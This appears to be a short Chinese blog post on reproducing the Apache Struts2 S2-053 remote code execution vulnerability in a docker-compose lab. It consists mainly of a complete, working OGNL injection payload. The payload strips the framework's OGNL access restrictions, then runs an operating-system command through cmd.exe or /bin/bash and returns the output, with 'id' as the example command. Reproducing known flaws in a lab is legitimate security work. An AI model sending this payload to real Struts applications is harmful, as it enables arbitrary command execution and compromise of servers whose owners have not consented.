S2-053远程代码执行漏洞

最新推荐文章于 2023-11-16 20:06:14 发布

雲小

最新推荐文章于 2023-11-16 20:06:14 发布

阅读量316

点赞数 1

文章标签： java 开发语言

本文链接：https://blog.csdn.net/tbygadgjsad/article/details/123573756

版权

本文详细介绍了如何使用docker-compose进行容器启动，并通过Ognl表达式实现HTTP请求。重点讲解了在Web应用中发送POST请求到/hello.action的方法和示例payload的构造。

摘要由CSDN通过智能技术生成

docker-compose up -d

http://ip:8080/hello.action

Payload:

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}